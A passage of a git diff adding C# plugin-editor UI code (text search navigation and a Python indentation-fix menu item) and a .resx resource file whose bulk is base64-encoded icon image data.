FindPrevious() + { + if (MatchSpots.Count == 0) + { + ClearSelection(); + return; + } + if (CurrentSpot == 0) + { + CurrentSpot = MatchSpots.Count - 1; + } + else + { + CurrentSpot--; + } + TextAreaControl TAC = PluginEditorTE.ActiveTextAreaControl; + TAC.SelectionManager.SetSelection(new Point(MatchSpots[CurrentSpot][1], MatchSpots[CurrentSpot][0]), new Point(MatchSpots[CurrentSpot][1] + Keyword.Length, MatchSpots[CurrentSpot][0])); + TAC.ScrollTo(MatchSpots[CurrentSpot][0]); + } + + void ResetSearchValues() + { + if (!InResetState) + { + Keyword = ""; + MatchSpots = new List(); + CurrentSpot = 0; + MatchCountLbl.Text = ""; + InResetState = true; + } + } + + void ClearSelection() + { + TextAreaControl TAC = PluginEditorTE.ActiveTextAreaControl; + TAC.SelectionManager.ClearSelection(); + } + + private void SearchMoveNextBtn_Click(object sender, EventArgs e) + { + FindNext(); + } + + private void SearchMovePreviousBtn_Click(object sender, EventArgs e) + { + FindPrevious(); + } + + private void FixPythonIndentationToolStripMenuItem_Click(object sender, EventArgs e) + { + string EditorText = PluginEditorTE.Text; + PluginEditorTE.Text = FixPythonIndentation(EditorText); + CheckSyntax(); + } + + delegate void ShowHideIndentationFixMenu_d(bool Show); + internal void ShowHideIndentationFixMenu(bool Show) + { + if (PluginEditorBaseSplit.InvokeRequired) + { + ShowHideIndentationFixMenu_d SHIFM_d = new ShowHideIndentationFixMenu_d(ShowHideIndentationFixMenu); + PluginEditorBaseSplit.Invoke(SHIFM_d, new object[] { Show }); + } + else + { + FixPythonIndentationToolStripMenuItem.Visible = Show; + } + } + } +} diff --git a/Iron/PluginEditor.resx b/Iron/PluginEditor.resx new file mode 100644 index 0000000..4e299ec --- /dev/null +++ b/Iron/PluginEditor.resx @@ -0,0 +1,1927 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + 166, 17 + + + 368, 17 + + + + + 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 + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/c0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP3NGXTwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0ZdPZ9GXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl0//0ZdPZwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTwjRl0/j0ZdP/9GXT//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT//Rl0/j0ZdPCAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPPdGXT//Rl0//0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP/9GX + T//Rl089AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNNTEtR0ZdP0tGXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GX + T//Rl0//0ZdP0U1MS1JLS0sSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhUtLS9PPlk9b0ZdP/9GXT//Rl0//0ZdPqtGX + T6rRl0//0ZdP/9GXT//Olk9bS0tL1UtLS4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNLS0vyS0tL/1FOS1HRl0/c0ZdP/9GX + T//Rl0+q0ZdPqtGXT//Rl0//0ZdP21BOS1VLS0v/S0tL8ktLSxMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhktLS/9LS0v/S0tLxdGX + T2bRl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl09mS0tLyktLS/9LS0v/S0tLhgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxRLS0vyS0tL/0tL + S/9LS0v/WVNLRtGXT+XRl0//0ZdPqtGXT6rRl0//0ZdP5FdSS0xLS0v/S0tL/0tLS/9LS0vyS0tLFAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLh0tL + S/9LS0v/S0tL/0tLS/9LS0u30ZdPXNGXT7HRl0920ZdPdtGXT7HRl09cS0tLv0tLS/9LS0v/S0tL/0tL + S/9LS0uHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9jczG4u3c1uZN3NbmTdzW5k3c1uZNbHbC9LS0vfS0tL/0tL + S/9LS0v/S0tL/0tLS/NLS0sUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLiUtLS/9LS0v/S0tL/0tLS/9LS0v/TExLXt3NbsrdzW7/3c1u/93Nbv/dzW7/3c1uy0xM + S2ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9vWx2xN3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/08RsUUtLS+BLS0v/S0tL/0tLS/9LS0v/S0tL80tLSxUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLiktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLYd3NbsfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7KTExLZ0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLiQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxZLS0v0S0tL/0tLS/9LS0v/S0tL/0tLS93UxWxK3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/Sw2tRS0tL4EtLS/9LS0v/S0tL/0tLS/9LS0v0S0tLFgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLi0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLY93N + bsPdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbspMTEtoS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0uLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v0S0tL/0tLS/9LS0v/S0tL/0tL + S9/SxGtH3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/9LDa1FLS0vhS0tL/0tL + S/9LS0v/S0tL/0tLS/RLS0sWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLjEtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLZt3Nbr/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uyUxM + S2lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4wAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v1S0tL/0tL + S/9LS0v/S0tL/0tLS+HQwmtE3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/0cJrUUtLS+JLS0v/S0tL/0tLS/9LS0v/S0tL9UtLSxcAAAAAAAAAAAAAAAAAAAAAS0tLjktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLaN3NbrvdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7JTEtLaktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLjQAAAAAAAAAAAAAAAEtL + SxhLS0v1S0tL/0tLS/9LS0v8S0tLtEtLS09RUEwD3c1uRt3NbpLdzW7d3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7g3c1ult3NbkuEfVkFS0tLT0tLS7RLS0v8S0tL/0tLS/9LS0v1S0tLGAAA + AAAAAAAAS0tLj0tLS/9LS0vgS0tLfUtLSxwAAAAAAAAAAAAAAAAAAAAAAAAAAN3NbgDdzW4q3c1udt3N + bsHdzW773c1u+93NbsLdzW533c1uLN3NbgAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxxLS0t+S0tL4EtL + S/9LS0uOAAAAAEtLSxRLS0ujS0tLR0tLSwIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAN3NbhLdzW4SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0sCS0tLSEtLS6NLS0sTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////5////+f////D////gf///4H///8A////AP///g + B///4Af//8AD///AA///gAH//4AB//8AAP//AAD//gAAf/4AAH/8AAA//AAAP/gAAB/4AAAf8AAAD/AA + AA/gAAAH4AAAB8AAAAPAAAADgAAAAYPwD8EP/n/w/////ygAAAAwAAAAYAAAAAEAIAAAAAAAACQAACMu + AAAjLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTxDRl08QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPE9GXT3DRl09w0ZdPEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPidGXT3/Rl09/0ZdPiAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08Z0ZdP9dGXT3/Rl09/0ZdP9dGX + TxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl0+T0ZdP/9GX + T3/Rl09/0ZdP/9GXT5IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + Tx/Rl0/40ZdP/9GXT3/Rl09/0ZdP/9GXT/jRl08fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXT53Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0+cAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPJtGXT/vRl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0/70ZdPJgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPp9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GX + T//Rl0//0ZdPpwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08v0ZdP/dGXT//Rl0//0ZdP/9GX + T3/Rl09/0ZdP/9GXT//Rl0//0ZdP/dGXTy4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl0+x0ZdP/9GX + T//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT7EAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TzfRl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT/7Rl083AAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0phPANGXT7vRl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GX + T//Rl0+705hQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPQdGXT//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GX + T//Rl0//0ZdP/9GXT//Rl0//0ZdPQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08A0ZdPxdGXT//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GX + T3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdPxdGXTwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08B0ZdP1NGXT//Rl0//0ZdP/9GX + T//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdP09GXTwEAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwZLS0tR0ZdPXNGX + T//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdPW0tL + S1JLS0sGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + S2dLS0vgiG5NCdGXT93Rl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GX + T//Rl0/dgWpNCktLS+JLS0tnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLBktLS+FLS0v/S0tLXtGXT2jRl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GX + T//Rl0//0ZdP/9GXT//Rl09nS0tLYktLS/9LS0vhS0tLBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLaUtLS/9LS0v/S0tL1LuLTgnRl0/m0ZdP/9GXT//Rl0//0ZdP/9GX + T3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT+avhE4KS0tL2UtLS/9LS0v/S0tLaAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0sHS0tL4ktLS/9LS0v/S0tL/0tLS0/Rl0900ZdP/9GX + T//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT3RLS0tWS0tL/0tLS/9LS0v/S0tL4UtL + SwcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0tqS0tL/0tLS/9LS0v/S0tL/0tL + S8fQl08N0ZdP7dGXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP7cqTTw1LS0vOS0tL/0tL + S/9LS0v/S0tL/0tLS2kAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwdLS0vjS0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0tA0ZdPgdGXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdPgEtL + S0lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS+JLS0sHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 